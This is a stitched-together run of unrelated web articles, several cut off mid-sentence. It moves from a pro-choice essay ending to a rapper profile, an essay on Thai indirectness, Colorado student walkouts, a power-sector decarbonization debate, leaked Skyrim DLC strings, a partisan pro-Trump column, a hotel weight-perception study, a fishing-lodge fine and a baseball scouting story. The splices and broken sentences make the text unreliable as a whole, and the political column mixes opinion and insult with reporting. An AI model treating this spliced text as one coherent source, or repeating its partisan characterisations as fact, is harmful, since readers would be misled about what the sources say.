The biggest threat to the anti-choice faction of the Republican party is, not political opposition or appeals to morality, but education — studies show that educated women respect the right to choose, and they want it — for themselves and for their children.
Until reproductive self-determination is universally recognized as a basic human right, until every birth results from the free choice of a free woman, we haven't earned the right to call ourselves civilized.
Footnotes
Based on this estimate: $(51-12) \frac{365.25}{28} = 508.7$ More formally expressed, there is a strong worldwide correlation between a woman's educational level and a desire to limit her family's size.
ReferencesYoung Veggies
Casey Jones. Born July 18, 1993. Just 20 years old. Better known by the name Casey Veggies. he has created a buzz for himself at a very young age coming out of Inglewood, California.
Although just 20 years old, Veggies has been rapping for years. He released his first mixtape Customized Greatly Vol. 1 at the ripe old age of 14. He’s released 6 mixtapes since, including The Odd Future Tape vol. 1 as he was a founding member of the collective. Veggies left after that first tape, as he wanted to take his rap career in a different direction. It makes perfect sense, as the styles of OF and Veggies are totally different. Veggies shines on his own songs using his charisma and cool confidence to flow over beats. His beat selection is impeccable, knowing exactly what will suit him. The instrumentals are heavily influenced by California - but not in the same sense as say Dr. Dre or Snoop Dogg. Casey Veggies much more reflects a more laidback and positive lifestyle that exists in California than in the streets of Compton and Long Beach. The rapper really came into his own on 2013’s Life Changes. The mixtape shows some maturity and introspection from the 20 year old. He addresses girls and relationships, as well as growing and dealing with the world as a young man. The strongest part of his music is his delivery - youthful, confident, full of swagger. He is rarely obnoxious on the mic. He has begun to show diversity as a rapper, collaborating with MMG’s Rockie Fresh for a mixtape called Fresh Veggies (presented by PUMA) at the end of 2013. Fresh Veggies was a solid addition to his catalogue, and with RocNation managing him along with collaborations with bigger rappers like Kirko Bangz, Mac Miller, and Juicy J in the bag - and an unreleased Drake collab - Casey Veggies is poised to have a big future.
You can find all of Casey Veggies’ music, videos, and merch at his website, http://caseyveggies.com/.
His instagram and twitter are both @CaseyVeggies
- NicoThai people don't like to say no. This is evident even in their simplest words: “yes” is chai and the closest thing to “no” is mai chai, which translates as "not yes.” This is more than just a simple language quirk. It reflects much about Thai society that isn’t apparent to outsiders until they’ve spent some time in the country.
When I arrived in Thailand four years ago, mai chai seemed a clunky phrase. I soon realised, however, that it becomes even more unmanageable when a polite ending is tacked onto it, as it often is. Then, it becomes mai chai ka, if a woman is speaking, and mai chai krub if a man is. It’s far less sleek than the simple non in French or nein in German.
Thailand is famously known as the Land of Smiles, and its residents pride themselves on being gracious and accommodating. As a collective culture, Thai people are taught to be more concerned with what’s best for the group rather than what suits them personally. Perhaps this is why “no” is always tempered with a “yes”. “Not yes” seems to imply in one small phrase their regret at not being able to consent to what you’ve asked. In fact, when mai chai is proffered, it’s often with downcast eyes and a small bow called a wai or a hand waved in front of the face apologetically.
According to Rachawit Photiyarach, intercultural communications professor at Bangkok's Kasetsart University, “Thais avoid confrontation because they live in a group-orientated culture. Showing emotion is considered immature or rude, so many people value those who can handle situations calmly.”
He added, “Thai society is highly conservative and traditional. It’s a culture where showing gratification and emotion is controlled by strict social norms. This is why showing public affection between couples is considered rude here.”
As opposed to many European countries where people simply say what they mean, in Thai communication, the listener must know a bit about the culture to fully understand what is being said. Thai people tend to dance around confrontations, emotional situations and anything unpleasant; when a Thai friend says yes to you, they may really be saying no – if you know how to interpret their ever-gracious words.
“People don’t often tell you no. Maybe among very old friends, but with others, with work colleagues or family members, Thai people always say yes and may go on to explain later why they can’t do something,” Photiyarach explained. “A Thai person will say yes because social etiquette dictates that they do.”
For example, a Thai employee will rarely refuse their boss anything. If a manager asks, “Can you work on Saturday?” the Thai employee might answer, “Yes, but my parents are coming for dinner at my home, and I need to collect my children from their sports activities in the afternoon.” The response is implicit, and it’s up to the listener to construe the meaning.
Thais strongly believe in maintaining good relationships; in a developing country where life can be hard, people stick together and try to help each other. Harmonious relationships take precedence over being right or wrong, over personal agreement or dissent, even over professional progress. Thais avoid saying no to keep the peace.
Apologies are uncommon in Thai. To say you are sorry is to admit you made a mistake and to lose face, which is one of the worst things that can happen to you in many Asian societies. In a collective culture, the opinion of the group is everything. Thais prefer not to lose face in the first place by keeping a pleasant disposition at all times. If they do make a mistake, they may never acknowledge it.
“It is difficult to regain your face when you have done something stupid or inappropriate in the eyes of many Thais. This is in contrast to Western culture, where people are likely to forgive you if you are honest,” Photiyarach said.
During my years in Thailand, I’ve learned to be more accommodating, to think of ways that I can say “yes”. When I first arrived here for a copywriting job, I was the only person to speak up at meetings or contradict my boss. I thought this was how I was supposed to show that I was a useful member of the team. However, I must not have made a good impression, as a Thai co-worker later described me as “having war in |
’m sure we will go very close.”In the largest protest this week, at least 700 Jefferson County students left classes Wednesday morning in protest of school board decisions and proposed changes to history curriculum.
The students gathered at the intersection of Ken Caryl Avenue and Chatfield Boulevard by mid-morning, most from rival high schools Chatfield and Dakota Ridge.
Some of the students waved American flags and held signs that said, “Don’t make history a mystery,” which has become a slogan of this week’s walk-outs. Others piled into cars and sped around the intersection honking their horns and screaming out open windows.
Tensions have been mounting in the school district as students, parents and teachers push back against district leadership. Wednesday’s protests meant that students at roughly half of all county high schools had walked-out of their classes in protest this week.
Community members are angry about an evaluation-based system for awarding raises to educators and a proposed curriculum committee that would call for promoting “positive aspects” of the United States and its heritage and avoiding material that would encourage or condone “civil disorder, social strife or disregard of the law.”
Wednesday’s protests follow Tuesday student walkouts that happened at Arvada West, Pomona, Ralston Valley, Wheat Ridge and Golden high schools. More than 100 Evergreen High School students also walked out of classes Monday morning to protest outside of the county’s school administration building in Golden where they met with the district superintendent.
“It was kind of just spur of the moment,” said organizing student Ashlyn Maher, a Chatfield senior who organized Wednesday’s protest. “I heard one teacher was so moved by people leaving that she started to cry.”
Several Jefferson County sheriff’s deputies were at the scene, along with school administration members, watching over students and urging them to stay out of the streets and pick up their trash. About three hours after the protest began, a student leader urged his classmates to return to school.
“Let’s show them we respect out education!” the leader said over a bullhorn. Most of the students obliged, walking away from the protest and back to school by about 10:15 a.m.
“I respect the right of our students to express their opinions in a peaceful manner,” superintendent Dan McMinimee said in a statement Tuesday.”I do, however, prefer that our students stay in class.”
Jordan Gleason, a student at Columbine High School, skipped school and drove over to support the cause.
“We’ve really got to fight for what we believe in,” Gleason said.
“I’m not going to lie, there are kids here (just skipping class),” said student organizer Scott Romano, a Chatfield junior. “But the majority of us are out here for the right reasons.”
Also Wednesday, McMinimee visited with students at Alameda International High School before about 75 of them walked out in protest, according to 7News and The Associated Press.
The protests follow the closing of two county schools Friday after a 50-teacher sick-out.
Students have said they organized the protests on Facebook.
The Jefferson County School Board now is being ridiculed on Twitter by a new trend called #JeffcoSchoolBoardHistory.
Jesse Paul: 303-954-1733, jpaul@denverpost.com or twitter.com/JesseAPaulPresident Trump is expected this week to issue an executive order to roll back the Clean Power Plan, part of a slate of actions designed to undo former President Obama's climate and energy initiatives. That sentiment, however, has not stopped researchers from contending with the realities of climate change and how to prevent it.
One new literature review in particular raises some key issues for policymakers.
The research review, commissioned by the Energy Innovation Reform Project (EIRP), examines the best route to “deep decarbonization” of the power sector — nearly zero greenhouse gas emissions by mid-century. It argues 100% renewables is not the best way to get there.
“There are two branches of research on how to get deep decarbonization,” the research review co-author Jesse Jenkins told Utility Dive. “One looks at how to get to high renewables penetrations. The other looks at how to reduce GHGs in the power sector. The second group sees a lot more diverse resource mix.”
The review assumes that an 80% to 100% cut in carbon emissions from the electric utility sector is necessary to limit global climate change to 2°C this century. It argues the literature shows eliminating the last 10% to 30% of emissions needed for deep decarbonization is more cost-effective with a diverse energy mix.
That mix includes “a lot more wind and solar, more energy storage and demand response, but also what we call ‘dispatchable base resources,’” Jenkins said, including nuclear power, fossil fuel generation with carbon capture and storage (CCS), biomass, hydropower, and geothermal energy.
The EIRP review looks at work from a number of sources, including Stanford Professor Mark Jacobson, whose Solutions Project offers state and national roadmaps to 100% renewables by 2050.
Jacobson called the EIRP study “highly misleading” because “it is not what the international community believes.”
Nuclear and CCS will not necessarily reduce the costs of decarbonization, he told Utility Dive. “The United Nations International Panel on Climate Change (IPCC) found they may not be needed to get deep decarbonization and that nuclear in particular is expensive and risky,” he added.
While the current White House is unlikely to act on any plan for deep decarbonization, the findings of the EIRP review and the questions it raises could help inform policy decisions on the state level and for the post-Trump era.
The EIRP review
For the EIRP review, Jenkins and co-author Samuel Thernstrom reviewed 30 studies published since the release of the 2014 report from the United Nations Intergovernmental Panel on Climate Change, which itself contained an extensive literature review.
To stand a good chance of keeping global warming below 2°C, the report assumes the power sector will need to decarbonize faster than other parts of the economy, helping to electrify sectors like transportation and agriculture.
Across the studies surveyed, researchers found “no disagreement on the question of prioritizing the power sector in decarbonization scenarios,” according to the review.
Another key assumption, researchers wrote, is that getting to “deep decarbonization” of 80% or more will be more difficult than “comparatively modest emissions reductions (50%-70% or less).”
“Every step is increasingly challenging so it is important that we plan now for the final 20%, or we might find ourselves stuck along the way,” Jenkins said.
In their review, researchers found that a 100% renewable energy power mix “may be theoretically possible." But, they wrote, "it would be significantly more challenging and costly than pathways that employ a diverse portfolio of resources.”
In particular, including "dispatchable low-carbon resources in the portfolio, such as nuclear energy or fossil energy with carbon capture and storage (CCS), would significantly reduce the cost and technical challenges of deep decarbonization.”
The “main reason” these non-renewable resources are necessary for cost-effective deep decarbonization is the variability of renewable generation, Jenkins said. The two cost-effective backup options are a dispatchable base resource or energy storage with adequate duration.
A third option, “overbuilding” renewables, results in a lower system utilization rate and a higher cost per unit of energy, he said.
The advantage of dispatchable base resources is they can balance renewables' seasonal and long term variability more effectively than geographic diversity provided by new transmission or energy storage, Jenkins said. But unlike an overbuild of renewables, their high capacity factor keeps the overall cost down.
One paper cited in the EIRP review found a 100% renewables U.S. power system would cost “at least twice as much as an 80% renewables system, and 2.8-times the cost of a system with 20% renewables,” the EIRP review reports.
The paper, co-authored by Bethany Frew, found a 100% renewables California system “costs 2.1 to 2.8-times as much as an 80% renewable system, and 3 to 8-times more than a 20% renewable system,” the review adds.
The higher cost at higher levels of renewables is due to the need to meet demand when renewables generation drops off, Jenkins said. “You have to build several times the capacity to meet an increment of demand because the capacity factor is so low.”
Frew, Jacobson, and other 100% renewables studies assume new transmission connecting U.S. resources, but it only smooths short variations, Jenkins said. Storage only shifts supply and demand to meet peaks or balance diurnal variations.
“Without a fleet of reliable, dispatchable resources to step in when wind and solar output fade, scenarios with very high renewable energy shares must rely on very long duration seasonal energy storage,” the EIRP study argues. But, it adds, “the ten largest pumped hydro storage facilities in the U.S. are collectively capable of storing a total of just 43 minutes of U.S. energy consumption," and the studies typically assume long-duration storage technologies “that remain unproven at such large scales.”
Neither transmission nor storage is, therefore, a substitute for dispatchable base resources, Jenkins argued, but nuclear and CCS aren't the only options. Some regions, for instance, have abundant hydropower reservoirs and some have ample geothermal potential. The review argues primarily for nuclear power and CCS because they are the most widely deployable, Jenkins said.
Of the research reviewed, “every paper employing least-cost optimization techniques includes significant shares of dispatchable base resources in the decarbonized power portfolio,” the study reports. Only ones that “exclude those resources from consideration a priori” did not.
“That alone,” Jenkins argued, “shows they are not choosing the lowest cost mix but have preferences about which resources they want.”
Dispatchable baseload economics
The central questions around dispatchable baselaod generation involve cost and scale, but Jenkins said his own research shows CCS for enhanced oil recovery is effective and, with a price on emissions driving it, scalable to cost-effectiveness.
“In the long term, for deep decarbonization, we have to have a price on carbon or a value charged for carbon pollution that would encourage people to capture and permanently store it,” he said.
Along with CCS, new nuclear could prove cost-effective in scenarios with very high renewables penetration, Jenkins argued. But such projects currently in construction like Georgia Power's Vogtle nuclear facility and the VC Summer units are years behind schedule and billions over budget.
Jenkins acknowledged the financial and construction challenges facing the the Vogtle nuclear facility. When completed, its levelized cost of energy (LCOE) will likely be between $115/MWh and $120/MWh. That is, he admitted, significantly higher than Midwest wind or Southwestern utility-scale solar. But it is more competitive than New England offshore wind or rooftop solar.
Also, LCOE is not necessarily the most useful metric for comparing technologies, Jenkins said. “Anytime you push one type of resource too far, the marginal value of the next unit you’re building falls."
The LCOEs of solar and wind are lower, he said, but at very high penetrations of renewables, "the marginal value of additional units of nuclear is greater.”
“Nuclear, CCS, and other dispatchable base resources have challenges to scaling,” Jenkins admitted. Each will have advantages and disadvantages under specific circumstances.
“But," he said, "if you try to reach deep decarbonization without one of them, even with more and cheaper wind and solar and storage and transmission, the challenge is significant.”
Researchers respond
A number of climate scientists cited by Jenkins in the EIRP took exceptions with conclusions of the literature review.
Frew, now an NREL researcher, said her paper's conclusions were reached independently from either Jacobson’s work or her work at NREL. She did not select between baseload and flexible technologies and did not consider the impact of markets, technology costs, or fuel prices.
Her work revealed, as the Jenkins study reports, “potential challenges in achieving a 100% renewable system, specifically in that last 20%,” Frew told Utility Dive. “It is technically feasible, but, at these very high penetrations, the diminishing capacity value of variable renewables and higher curtailment rates create additional challenges and associated costs.”
She departed from Jenkins' argument that dispatchable base resources are the single key. Many “operational or dynamic factors” could limit that technical feasibility. Of the options she studied, geographic aggregation through an amplified transmission system “was found to be the most effective at accommodating renewables,” she said.
Frew said her paper’s most important conclusion is that further research on supply side and demand side flexibility options will advance system operators’ ability to integrate very high renewables penetrations.
“Market design, in particular, is ripe for research,” she said. “We must know what services a future power system requires, and then design markets to properly signal those services.”
Stanford’s Jacobson developed computer models to demonstrate a strategically balanced grid system can integrate high renewables penetrations. His Solutions Project has designed 100% “wind, water, and solar” energy mixes for each state in the country and each nation of the world.
Jenkins is fundamentally wrong about nuclear generation, Jacobson told Utility Dive. “In the U.S., nuclear is absolutely not dispatchable.”
While nuclear power provides steady baseload generation, it is not as flexible as storage or gas plants. That, Jacobson said, is why the the IPCC concluded high penetrations of renewables “may not be ideally complemented by nuclear,” Jacobson said.
In addition, Jacobson said, the IPCC report’s Executive Summary concludes, “there is ‘robust evidence and high agreement’ that nuclear has meltdown, safety, weapons proliferation, and financial risks.”
The EIRP paper makes two comments about Jacobson’s grid integration study, he said. The first is that the storage capacity proposed is 2.5 times that of "current" U.S. installed generating capacity.
“That is irrelevant,” the Stanford researcher responded, “because we are not proposing to power the current U.S. power sector, which is only one-fifth of all energy.”
In fact, Jacobson said, his plan proposes electrification of all U.S. energy sectors by 2050, which would amount to five times today’s power sector generation.
“The storage we are proposing is smaller than the electricity demand in our scenario,” he said, “even though there will be a reduction in 2050 energy demand.”
The EIRP paper also claims that Jacobson’s 100% renewable energy proposal would require an amount of energy storage “equivalent to 37.8 billion Tesla Power Wall 2.0 home energy storage systems” or about 320 systems per U.S. household.
“That is plain wrong,” Jacobson said. “Our storage is equivalent to zero Powerwalls.”
His work shows how a 100% renewables penetration on the grid can be stable “with no stationary batteries at all,” Jacobson said. Instead, it models stabilization with “a combination of storage options that cost between 1/300th and 1/9th of Powerwalls, including low-cost electricity, heat, cold, and hydrogen storage.”
The EIRP review also assessed a study from the National Renewable Energy Laboratory (NREL) co-authored by Trieu Mai, a researcher at the Strategic Energy Analysis Center.
The EIRP review raises valid concerns, NREL’s Mai said, but the magnitude of the concerns he addresses” is not yet clear.
“Anybody would agree technology diversity has value,” he said. “It is just math. When you open the solution space to more options, the optimal solution will be lower cost. But it is unclear how much lower.”
NREL’s Mai was part of a team that modeled an 80% U.S. renewables penetration. The four-volume, 2014 study found a renewables mix, “in combination with a more flexible electric system, is more than adequate to supply 80% of the total U.S. electricity generation in 2050 while meeting electricity demand on an hourly basis in every region of the United States.”
Mai says he has not seen research proving the higher renewables plans will cost more. Solar and wind costs have dropped dramatically and technology advances make further declines likely, Mai said.
“The future competitiveness of technologies like nuclear and CCS is more uncertain. There have not been the same cost declines, though they may come.”
For now, the researchers agree, more research is needed to evaluate the most cost-effective resource mix for deep decarbonization. In the meantime, Mai said the power sector should continue to focus on adding the lowest-cost, lowest-emitting resources possible.
“Given this steep road and the numerous uncertainties, it’s probably more fruitful to focus on immediate growth of emissions-free generation rather than on the optimal solution for the final margin."Share. I'll believe it when dragons fly. I'll believe it when dragons fly.
Exit Theatre Mode
An ingenious user has delved deep into the source code for Skyrim patch 1.8, discovering clues about the next Skyrim expansion.
Bethesda forum user Mardoxx (via Eurogamer) asserts that the next piece of DLC will be titled Dragonborn (Bethesda trademarked the name back in September) and will be set on the island of Solstheim, which lies to the North East of Skyrim. Perhaps most tantalising of all his assertions is the possibility of riding dragons. This could be a scripted event, of course – but still, it's FLYING A DRAGON!
Furthermore, Mardoxx states that main locations will include Raven Rock, Miraak Temple, Castle Karstaag and Telvanni Tower. He or she even claims to have discovered what they believe to be new HUD compass markers showing the new locations:
And here's some of that source code (if that's your sort of thing) listing the new armour types said to be contained in the DLC. You'll also notice that it confirms the name of the expansion as 'Dragonborn'.
$Crafting_$DLC2ArmorBonemold BONEMOLD $Crafting_$DLC2ArmorChitin CHITIN $Crafting_$DLC2ArmorNordic NORDIC $Crafting_$DLC2ArmorStalhrim STALHRIM $Dragonborn Quests Completed Dragonborn Quests Completed $DRAGONBORN_ESMName Dragonborn $DOWNLOADABLE CONTENT_PS3 DOWNLOADABLE CONTENT
Apparently the DLC will let you cast spells on mounts, and contain new creatures and dwemer objects but "they're not that interesting", according to Mardoxx. No information has yet been released concerning future Skyrim DLC.
For all your Elder Scrolls V needs consult IGN's Skyrim Wiki.
Daniel is IGN's UK Staff Writer, and you can be part of the world's worst cult by following him on IGN and Twitter (or not).In accepting the invitation of President Enrique Pena Nieto to fly to Mexico City, the Donald was taking a major risk.
Yet it was a bold and decisive move, and it paid off in what was the best day of Donald Trump’s campaign.
Standing beside Nieto, graciously complimenting him and speaking warmly of Mexico and its people, Trump looked like a president. And the Mexican president treated him like one, even as Trump restated the basic elements of his immigration policy, including the border wall.
The gnashing of teeth up at the New York Times testifies to Trump’s triumph:
“Mr. Trump has spent his entire campaign painting Mexico as a nation of rapists, drug smugglers, and trade hustlers. … But instead of chastising Mr. Trump, Mr. Pena Nieto treated him like a visiting head of state … with side-by-side lecterns and words of deferential mush.”
As I wrote in August, Trump “must convince the nation … he is an acceptable, indeed, a preferable alternative” to Hillary Clinton, whom the nation does not want.
In Mexico City, Trump did that. He reassured voters who are leaning toward him that he can be president. As for those who are apprehensive about his temperament, they saw reassurance.
For validation, one need not rely on supporters of Trump. Even Mexicans who loathe Trump are conceding his diplomatic coup.
“Trump achieved his purpose,” said journalism professor Carlos Bravo Regidor. “He looked serene, firm, presidential.” Our “humiliation is now complete,” tweeted an anchorman at Televisa.
President Nieto’s invitation to Trump “was the biggest stupidity in the history of the Mexican presidency,” said academic Jesus Silva-Herzog.
Not since Gen. Winfield Scott arrived for a visit in 1847 have Mexican elites been this upset with an American.
Jorge Ramos of Univision almost required sedation.
When Trump got back to the States, he affirmed that Mexico will be paying for the wall, even if “they don’t know it yet.”
Indeed, back on American soil, in Phoenix, the Donald doubled down. Deportations will accelerate when he takes office, beginning with felons. Sanctuary cities for illegal immigrants will face U.S. sanctions. There will be no amnesty, no legalization, no path to citizenship for those who have broken into our country. All laws will be enforced.
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Trump’s stance in Mexico City and Phoenix reveals that there is no turning back. The die is cast. He is betting the election on his belief that the American people prefer his stands to Clinton’s call for amnesty.
A core principle enunciated by Trump in Phoenix appears to be a guiding light behind his immigration policy.
“Anyone who tells you that the core issue is the needs of those living here illegally has simply spent too much time Washington. … There is only one core issue in the immigration debate, and that issue is the well-being of the American people. … Nothing even comes a close second.”
The “well-being of the American people” may be the yardstick by which U.S. policies will be measured in a Trump presidency. This is also applicable to Trump’s stand on trade and foreign policy.
Do NAFTA, the WTO, MFN for China, the South Korea deal and TPP advance the “well-being of the American people”? Or do they serve more the interests of foreign regimes and corporate elites?
Some $12 trillion in trade deficits since George H.W. Bush gives you the answer.
Which of the military interventions and foreign wars from Serbia to Afghanistan to Iraq to Libya to Yemen to Syria served the “well-being of the American people”?
Are the American people well served by commitments in perpetuity to 60- and 65-year-old treaties to wage war on Russia and China on behalf of scores of nations across Eurasia, most of which have been free riders on U.S. defense for decades?
Trump’s “core issue” might be called Americanism.
Whatever the outcome of this election, these concerns are not going away. For they have arisen out of a deeply dissatisfied and angry electorate that is alienated from the elites of both parties.
Indeed, alienation explains the endurance of Trump, despite his recent difficulties. Americans want change, and he alone offers it.
In the last two weeks, Trump has seen a slow rise in the polls, matched by a perceptible decline in support for Clinton. The latest Rasmussen poll now has Trump at 40, with Clinton slipping to 39.
This race is now Trump’s to win or lose. For he alone brings a fresh perspective to policies that have stood stagnant under both parties.
And Hillary Clinton? Whatever her attributes, she is uncharismatic, unexciting, greedy, wonkish, scripted and devious, an individual you can neither fully believe nor fully trust.
Which is why the country seems to be looking, again, to Trump, to show them that they will not be making a big mistake if they elect him.
If Donald Trump can continue to show America what he did in Mexico City, that he can be presidential, he may just become president.Hotel & Resort | Patrick Clarke | January 29, 2016
Photo courtesy of Thinkstock
When it comes to female hotel employees, heavier is better in the minds of most.
According to a recent study conducted by researchers at Penn State and George Mason University, female hotel employees who weigh more than average are perceived to be warmer and more competent than their average weight counterparts.
What's more, the study found that those perceptions led survey respondents to evaluate the hotel more positively.
"Though other research has shown that higher weight women receive more negative workplace experiences in terms of hiring and promotions than average weight women, we actually found a benefit from customers' perspectives," assistant professor of hospitality management at Penn State Larry Martinez told Phys.org. "This makes sense, based on common beliefs about higher weight individuals, which include a mixture of both positive and negative stereotypes."
"Specifically, higher weight individuals are generally thought to be friendly and jolly, but less conscientious and competent."
In conducting the study, researchers provided participants with photos of various front desk employees accompanied by written scenarios regarding how the employee handled the basic situation of a customer checking into a hotel. Afterward, they answered questions about the employee and the hotel experience.
The study included photos of both male and female employees at average and higher weights.
Interestingly, researchers found that the weight of the male front desk employees had no impact on the participants' perceptions of the hotel, which Martinez said "highlights the greater emphasis on weight and appearance for women compared to men in society in general," per Phys.org.
So, what does the study mean for the industry?
"These findings are particularly important in the context of an industry that places a high emphasis on the aesthetics and appearance of its workforce," added Martinez. "Our findings suggest that the hospitality industry should instead focus on hiring and training workers in such a way as to increase how warm and friendly they are viewed by guests."
In addition to Martinez, Penn State doctoral student Nicholas Smith and Isaac Sabat at George Mason contributed to the study, which surveyed 169 people.
Follow @_Pat_ClarkeA luxury fishing lodge on Haida Gwaii has been fined $35,000 for illegally catching dozens of halibut and over 100 chinook, coho and pink salmon.
Officers with Fisheries and Oceans Canada seized the illegal catches from Queen Charlotte Lodge during a surprise inspection last year.
DFO fishery officer Geoff Thorburn said the fish were well over the legal limits allowed on Haida Gwaii.
"If everybody had no limit whatsoever, we'd probably have some significant issues when it comes to salmon and halibut," he said.
"Staying within the limits is really important for fish management and for the conservation and protection of fish."
The lodge was found guilty of six violations of the Fisheries Act and fined $500 for each.
The judge ordered the lodge to pay an additional $32,000 to finance marine conservation, rehabilitation, education and research efforts on Haida Gwaii.
"If anything positive comes out of this, it's that money will go to conservation of fish and fish habitat here on Haida Gwaii," Thorburn said.
In December 2015, Naden Lodge in Massett was ordered to pay $15,000 for fishing violations, $13,000 of which was for similar conservation efforts.
For more stories from northern British Columbia, join the CBC Daybreak North community on Facebook.About 10 scouts showed up last fall for the Academy of Art University baseball team's pro day. They munched on powdered donuts and sipped the gratis Sunny D and figured this was like any other small-college showcase: a waste of a morning. The position players finished running the 60-yard dash when up walked one more kid, a pitcher for the tiny San Francisco school, who asked the scouts if he could try.
They looked up and nodded. Brandon Poulson stood 6-foot-7 and weighed 240 pounds with 8 percent body fat. "He's like Ivan Drago," said Elliott Strankman, a Minnesota Twins scout there that day. "You know that scene in Rocky IV – 'Whatever he hits … he destroys.' That's what he reminds me of."
Poulson slipped off his spikes and stood in his socks. He wanted to run without shoes. The scouts cast weird looks to one another. He took off. The scouts clicked their stopwatches. He crossed 60 yards, the standard measurement for baseball players. The scouts didn't believe the numbers on their watches. One said 6.59. Another said 6.61. And another 6.60. That wasn't just fast. It was speed for a middle-of-the-diamond player, not a pitcher.
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Intrigued, the scouts flocked to see the right-hander throw. It was ugly. Bad mechanics. Fastball topped out at 91 mph. Didn't have a breaking ball. Turned out he would be 24 years old when the season started. Strankman knew it was too good to be true. And when he checked in during the Academy's season and Poulson's stats were brutal, Strankman didn't bother with a follow-up.
Story continues
Then came the phone call 17 days ago. Strankman was in Sacramento. A friend had a tip. There was a kid pitching for a team called the Healdsburg Prune Packers of the Golden State Collegiate Baseball League. He was throwing hard. Really hard. He went to some art school. The New York Mets were scouting him. Might be worth a look-see.
"Drago," Strankman thought.
Poulson pitched for the Healdsburg Prune Packers. (Courtesy of Brandon Poulson)
He found a phone number for Poulson, called him up, told him not to sign with anyone, not until Strankman could see him. On July 15, Strankman drove to Healdsburg, Calif., about 70 miles northwest of San Francisco. The Prune Packers play at Recreation Park, an old field with wooden stands. One of the regulars comes to games with a parrot perched on his left shoulder.
Strankman wasn't the only scout there. The A's, the Braves, the Giants – all of them heard the stories about the kid. They sat behind the plate, waited eight innings, watched the Prune Packers take a 9-0 lead, before Poulson came in to pitch the ninth. The scouts sat shoulder to shoulder. They poised their radar guns. In stepped a kid named Evan Ramirez, an outfielder for the Nevada Big Horns. He dug in. Poulson fired a fastball. And like the stopwatches at pro day almost a year earlier, the radar guns flashed different numbers.
Most of them were 99. One read 100.
– – – – – – – – –
Every few years, a legendary scouting story hits baseball. Thirteen years ago, a kid named Gregory "Toe" Nash signed with the Tampa Bay Devil Rays. He was a high school dropout from the sticks of Louisiana who earned his nickname from size-18 feet. The Rays found him hitting 500-foot home runs in semipro ball and signed him for $30,000 after he went undrafted. He flamed out amid legal troubles and ended up in jail. And yet scouts who saw him still talk about Toe Nash like he's some myth.
For the rest of his life, Elliott Strankman will tell the story of Brandon Poulson. Perhaps 100 people in the world can throw a baseball 100 mph, and here he was, the art-school kid who reached triple digits, the former football player who took up semipro baseball on a lark, the construction worker and workout freak, the raw clay who molded himself into something incredible. He went undrafted, too, and it was a good thing for the Twins, because the story got even better on Tuesday, when they signed Poulson for $250,000.
– – – – – – – – –
He was always an athlete. Brandon Poulson never played basketball, and he can do a 360-degree spinning dunk. He's the size of an NFL tight end, and he can almost do the splits thanks to hours spent in Bikram yoga classes. Poulson dabbled with baseball at Piner High in Santa Rosa, Calif., and played football for a couple years at Santa Rosa Junior College before decamping to the real world.
His father owned John's Excavating, and Poulson wanted to learn the family business, maybe take it over some day, so he toiled away driving 18-wheelers and heavy equipment. One day, Poulson's father pulled him aside and told him he had the rest of his life to work. If he wanted to pursue something more, now was the time.
Baseball wasn't going to leave him with long-term injuries, so Poulson joined a Sunday-night men's league, Wine Country Baseball. He touched the upper 80s with his fastball, popped a 91 or 92 now and again. He didn't know where the ball was going, either, though his arm strength impressed an umpire enough that he tipped off Brian Gwinn, the coach of the Academy. Poulson threw a bullpen session. Gwinn offered him a scholarship.
Word traveled quickly in the small baseball community. Poulson ran into the GM of the Wine Country league, Riley Sullivan, at a grocery store, and Sullivan introduced him to Joey Gomes, brother of Red Sox outfielder Jonny Gomes and the Prune Packers' manager. Gomes hooked Poulson up with Caleb Balbuena, a former minor leaguer and pitching coach as intrigued as everyone else about the monster athlete who didn't know what he was doing.
"He was the Tin Man from the 'Wizard of Oz,' " Balbuena said. "Very stiff and methodical. I didn't even know there was a baseball team at the art school when I first met Brandon. I'm thinking of Step Up. And then I meet this 6-7, 240 guy, and I don't think he's a dancer."
On Dec. 30, 2013, Poulson threw his first bullpen with Balbuena. He needed to rebuild Poulson's delivery. He stressed the three planes of motion – frontal, transverse and sagittal – and how, when linked together, the kinetic energy created would jump his velocity almost immediately. Out of the 40 or so pitches Poulson threw that day, about three felt right. He went back to school in mid-January and returned in late March.
They kept working, kept smoothing out his mechanics, until one day, Poulson said, "I felt like my hips threw the ball." Balbuena brought out a radar gun. Poulson threw a pitch. It popped the catcher's glove at 94 mph. Poulson couldn't stop smiling. He started thinking of what he could do in a real game, with adrenaline, with a batter in the box, with this arm that finally worked.
"Dude," he said to Balbuena, "I want to learn how to do that."
– – – – – – – – –
Poulson thinks he can eventually throw 102 mph. (Courtesy of Brandon Poulson)
The Academy of Art University Urban Knights finished 12-36 this season. Brandon Poulson, multimedia communications major, pitched in 14 games. He threw 19 1/3 innings and walked 24 batters. His ERA was 8.38. The Major League Baseball draft lasted 40 rounds and 1,215 picks. There was a good reason his name wasn't called.
"I've always been the most dedicated person off the field," Poulson said. "I do yoga. I never cheat my diet. I read books on sleep and nutrition and workout plans. I'm always in the gym. Then it comes time to go to the field and I struggle. That part hurt me the most. I'm working harder than everyone. They're all out partying. I'm here doing everything I should be doing, and come time to pitch I can't even throw a strike."
The Urban Knights' season finale came May 3, a seven-inning game against Point Loma Nazarene University in San Diego. Poulson came on in the sixth inning. He threw two innings and struck out all six batters he faced. Balbuena's lessons were taking. He felt like a pitcher. Though nobody, not even Poulson, knew how good he was getting.
– – – – – – – – –
The velocity kept jumping. The 94s turned into 95s, then 96s and 97s, and oh my that one was 98, and then he was sitting 99, and nobody in the Golden State league ever had seen 100.
"Once I get a little more dialed in," Poulson said, "I'm gonna hit 101 or 102 or maybe harder."
He can get better. The Twins are banking on it. Never has Poulson been in a baseball-rich environment with top-level talent, a place where pitchers teach each other grips and fiddle with finger pressures. Strankman recognized all this – that Poulson's nascent slider can grow into a weapon, that when asked to try a changeup in a recent bullpen he unfurled one with unfair diving action on his second try – and realized this was a once-in-a-scouting-lifetime opportunity.
"It's one of those moments as a scout where you look at each other because it doesn't happen," Strankman said. "It's fun. We're looking at each other like come on. Guys are taking pictures of the radar guns. And the thing I like about him is he just doesn't know how good he can be. He doesn't have that appreciation of what he can be, so he's working to get better. He's not just resting on the fact that he's throwing hard and is a good athlete."
Strankman sped back home the night he saw Poulson pitched and called his bosses, scouting director Deron Johnson and west coast supervisor Sean Johnson, and told them the Twins needed to sign him now. It didn't matter Poulson had walked 15 hitters in 12 1/3 innings. He also struck out 31, and the walks were abating, and the 18 pitches Poulson threw that night were all Strankman needed to see.
